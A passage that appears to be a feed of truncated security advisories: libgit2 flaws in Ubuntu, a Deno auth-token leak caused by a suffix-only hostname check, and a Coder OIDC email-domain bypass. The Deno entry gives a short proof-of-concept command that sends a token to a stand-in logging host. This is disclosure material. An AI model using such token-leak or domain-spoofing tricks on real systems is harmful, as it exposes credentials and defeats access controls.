Ubuntu Security Notice 6678-1 - It was discovered that libgit2 mishandled equivalent filenames on NTFS partitions. If a user or automated system were tricked into cloning a specially crafted repository, an attacker could possibly use this issue to execute arbitrary code. This issue only affected Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. It was discovered that libgit2 did not perform certificate checking by default. An attacker could possibly use this issue to perform a machine-in-the-middle attack. This issue only affected Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS.

### Summary Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`. ### Details [auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens. ### PoC - Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`. - Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com` - Observe that the token intended only for the truncated domain is sent to the full domain ### Impact _Wha...

Analysis of the traffic between networked devices has always been of interest since devices could even communicate with one another.  As the complexity of networks grew, the more useful dedicated traffic analysis tools became. Major advancements have been made over the years with tools like Snort or Wireshark, but

### Summary A vulnerability in Coder's OIDC authentication could allow an attacker to bypass the `CODER_OIDC_EMAIL_DOMAIN` verification and create an account with an email not in the allowlist. Deployments are only affected if the OIDC provider allows users to create accounts on the provider (such as public providers like `google.com`). ### Details During OIDC registration, the user's email was improperly validated against the allowed `CODER_OIDC_EMAIL_DOMAIN`s. This could allow a user with a domain that only partially matched an allowed domain to successfully login or register (e.g. `user@exploitcorp.com` would match the allowed domain `corp.com`). An attacker could register a domain name that exploited this vulnerability and register on a Coder instance with a public OIDC provider. ### Impact Coder instances with OIDC enabled and protected by the `CODER_OIDC_EMAIL_DOMAIN` configuration. Coder instances using a private OIDC provider are not affected, as arbitrary users cannot regi...
